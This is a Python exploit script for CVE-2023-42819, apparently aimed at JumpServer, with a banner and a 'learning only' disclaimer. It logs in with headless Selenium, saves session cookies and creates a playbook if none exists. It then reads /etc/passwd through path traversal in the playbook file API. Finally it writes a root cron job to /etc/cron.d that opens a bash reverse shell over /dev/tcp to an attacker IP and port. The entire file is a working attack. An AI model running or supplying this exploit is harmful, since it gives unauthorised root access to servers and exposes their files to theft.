# -*- coding: utf-8 -*- import argparse import json import logging import os import random import string import sys import time from urllib.parse import urljoin import colorlog import httpx from selenium import webdriver from selenium.webdriver.chrome.service import Service from selenium.webdriver.common.by import By from selenium.webdriver.support.wait import WebDriverWait import undetected_chromedriver as uc # 代理设置 PROXIES = {} def banner(): print(''' ██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗██████╗ █████╗ ██╗ █████╗ ██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗╚════██╗ ██║ ██║╚════██╗██╔══██╗███║██╔══██╗ ██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝ █████╔╝█████╗███████║ █████╔╝╚█████╔╝╚██║╚██████║ ██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚═══██╗╚════╝╚════██║██╔═══╝ ██╔══██╗ ██║ ╚═══██║ ╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗██████╔╝ ██║███████╗╚█████╔╝ ██║ █████╔╝ ╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝╚═════╝ ╚═╝╚══════╝ ╚════╝ ╚═╝ ╚════╝ @Auth: C1ph3rX13 @Blog: https://c1ph3rx13.github.io @Note: 代码仅供学习使用，请勿用于其他用途 ''') def setup_color_logging(): # 创建一个 colorlog 的日志记录器 logger_setting = colorlog.getLogger() logger_setting.setLevel(logging.INFO) # 创建控制台处理器并设置格式 console_handler = logging.StreamHandler(sys.stdout) console_formatter = colorlog.ColoredFormatter( '%(asctime)s - %(log_color)s%(levelname)s - %(message)s', datefmt='%Y-%m-%d %H:%M:%S', reset=True, log_colors={ 'DEBUG': 'cyan', 'INFO': 'green', 'WARNING': 'yellow', 'ERROR': 'red', 'CRITICAL': 'bold_red', } ) console_handler.setFormatter(console_formatter) # 将处理器添加到日志记录器 logger_setting.addHandler(console_handler) return logger_setting # 日志记录器对象 logger = setup_color_logging() def create_driver(): # 设置 chromedriver 的路径，使用新版的 Service # selenium version > 4.9 service = Service(executable_path='chromedriver.exe') # 设置 ChromeOptions options = uc.ChromeOptions() options.add_argument('--disable-gpu') options.add_argument('--no-sandbox') options.add_argument('--headless') options.add_argument( '--user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36') options.add_argument('--ignore-certificate-errors') options.add_argument("--disable-logging") options.add_argument("--disable-dev-shm-usage") options.add_argument("--disable-plugins-discovery") options.add_argument('--no-first-run') options.add_argument('--no-service-autorun') options.add_argument('--no-default-browser-check') if PROXIES: options.add_argument(f"--proxy-server={PROXIES['all://']}") # 创建浏览器对象 driver = uc.Chrome(service=service, options=options) # driver = webdriver.Chrome(service=service, options=options) return driver def do_login(target: str, username: str, password: str): # 获取浏览器对象 browser = create_driver() # 打开登录页面 url = urljoin(target, '/core/auth/login/') browser.get(url=url) time.sleep(2) # 定位用户名和密码输入框 username_input = browser.find_element(by=By.NAME, value='username') password_input = browser.find_element(by=By.ID, value='password') btn = browser.find_element(by=By.XPATH, value='//*[@id="login-form"]/div[5]/button') # 显示等待 wait = WebDriverWait(browser, timeout=3) wait.until(lambda username_wait: username_input.is_displayed()) wait.until(lambda password_wait: password_input.is_displayed()) wait.until(lambda btn_wait: btn.is_displayed()) # 清空输入框 username_input.clear() password_input.clear() # 输入用户名和密码 username_input.send_keys(username) password_input.send_keys(password) # 点击提交 btn.click() # 获取当前页面的所有 cookie 信息 (返回字典) cookies = browser.get_cookies() logger.critical('Getting Cookies') # 将字典形式的 cookies 转换成 JSON 格式的字符串 json_cookies = json.dumps(cookies) # 生成 cookie 文件名 cookie_name = f'cookies.json' # 将 JSON 格式的 cookies 写入到本地文件 with open(cookie_name, "w") as f: f.write(json_cookies) logger.critical('Cookies Write') # 等待保存 cookie time.sleep(3) # 关闭浏览器 browser.close() def generate_random_letters(length): letters = string.ascii_letters # 获取所有大小写字母 random_letters = ''.join(random.choices(letters, k=length)) # 从字母中随机选择指定长度的字符并拼接起来 return random_letters def client_config(): # 读取 cookie.json with open('cookies.json', "r") as f: json_cookies = f.read() # 将 JSON 格式的 cookies 转换成字典形式 cookies = json.loads(json_cookies) # 将 Cookie 列表转换为字典 cookies_dict = {cookie['name']: cookie['value'] for cookie in cookies} # 设置 headers 的 X-CSRFToken 参数 headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36', } # 获取 cookies 中的 jms_csrftoken CSRFToken = cookies_dict['jms_csrftoken'] # 设置 headers 的 X-CSRFToken，必须带上 X-CSRFToken 参数 headers.update({'X-CSRFToken': CSRFToken}) client = httpx.Client(headers=headers, verify=False, follow_redirects=False, cookies=cookies_dict, proxies=PROXIES) return client def uid_verify(target: str, client): # 如果存在 PlayBook 对象的情况下 # Set API Url uid_url = urljoin(target, '/api/v1/ops/playbooks/') # Get uid try: uid_resp = client.get(url=uid_url) # 获取 uid if uid_resp.status_code == httpx.codes.OK and 'id' in uid_resp.text: uid_data = json.loads(uid_resp.text) ids = [entry['id'] for entry in uid_data] logger.critical('Playbook API INFO: %s', uid_resp.text) logger.critical('Playbook UID: %s', ids) return ids[0] else: logger.critical('Playbook UID is not exists') except (httpx.RequestError, httpx.HTTPStatusError) as error: logger.error('Request error or HTTP status error: %s', error) def add_playbook(target: str, client): playbook_url = urljoin(target, '/api/v1/ops/playbooks/') # 随机命名 playbook_name = generate_random_letters(4) json_data = { 'name': playbook_name, } try: add_resp = client.post(url=playbook_url, json=json_data) if add_resp.status_code == 201 and 'id' in add_resp.text: logger.critical('Successfully Added: %s', add_resp.text) elif add_resp.status_code == 400: logger.error('Fields must be Unique: %s', add_resp.text) else: logger.error('Unknown Error: %s', add_resp.headers, add_resp.text) except (httpx.RequestError, httpx.HTTPStatusError) as error: logger.error('Request error or HTTP status error: %s', error) def poc(target: str, uid: str, client): poc_url = urljoin(target, '/api/v1/ops/playbook/' + uid + '/file/?key=/etc/passwd') try: poc_resp = client.get(url=poc_url) if 'root' in poc_resp.text: logger.critical('Vulnerable : %s ', poc_resp.url) logger.critical('Output: %s', poc_resp.text) return True else: logger.critical('Not Vulnerable') return False except (httpx.RequestError, httpx.HTTPStatusError) as error: logger.error('Request error or HTTP status error: %s', error) def exp(target: str, uid: str, client, shell_ip: str, shell_port: str): # 创建计划任务 exp_url = urljoin(target, '/api/v1/ops/playbook/' + uid + '/file/') # JSON json_data = { "key": "/etc/cron.d", # 创建路径 "is_directory": True, # 创建文件夹 "name": "/etc/cron.d", # 指定创建文件夹的名称 } # 随机计划任务文件名 shell_name = generate_random_letters(4) # JSON shell_data = { "key": "/etc/cron.d", # 创建文件的路径 "is_directory": False, # 不创建文件夹 "name": shell_name, # 创建文件的名称 "content": f"* * * * * root bash -c \"bash -i >& /dev/tcp/{shell_ip}/{shell_port} 0>&1\"\n" # 创建文件的内容 } try: # 创建 cron.d 目录 exp_resp = client.post(url=exp_url, json=json_data) if exp_resp.status_code == httpx.codes.OK: logger.critical('Directory is Successfully Created: %s', exp_resp.text) # 创建反弹 Shell 计划任务 shell_resp = client.post(url=exp_url, json=shell_data) if shell_resp.status_code == httpx.codes.OK: logger.critical('Reverse Shell is Successfully Set: %s', shell_resp.text) else: logger.critical('Reverse Shell Failed: %s', exp_resp.text) else: logger.critical('Directory Creation Failed: %s', exp_resp.text) except (httpx.RequestError, httpx.HTTPStatusError) as error: logger.error('Request error or HTTP status error: %s', error) def check_and_exploit(target: str, uid: str, client, shell_ip: str, shell_port: str): if poc(target, uid, client): exp(target, uid, client, shell_ip, shell_port) def run(target: str, username: str, password: str, shell_ip: str, shell_port: str): # 判断 cookie 文件是否存在 if not os.path.exists('cookies.json'): # 登录并获取 cookies 和 headers logger.warning('Cookie is not exists, DO LOGIN') do_login(target, username, password) # 获取 client client = client_config() # 如果存在 uid uid = uid_verify(target, client) if uid: check_and_exploit(target, uid, client, shell_ip, shell_port) else: # 如果不存在 uid，则执行添加动作 add_playbook(target, client) uid = uid_verify(target, client) check_and_exploit(target, uid, client, shell_ip, shell_port) if __name__ == '__main__': banner() parser = argparse.ArgumentParser(description='CVE-2023-42819 by C1ph3rX13.') parser.add_argument('-t', '--target', type=str, required=True, help='target url') parser.add_argument('-u', '--username', type=str, required=True, help='account username') parser.add_argument('-p', '--password', type=str, required=True, help='account password') parser.add_argument('--ip', type=str, required=True, help='shell ip') parser.add_argument('--port', type=str, required=True, help='shell port') parser.add_argument("--proxy", type=str, required=False, help="proxy to http://ip:port") args = parser.parse_args() if args.proxy: PROXIES = {'all://': f'{args.proxy}'} run(args.target, args.username, args.password, args.ip, args.port)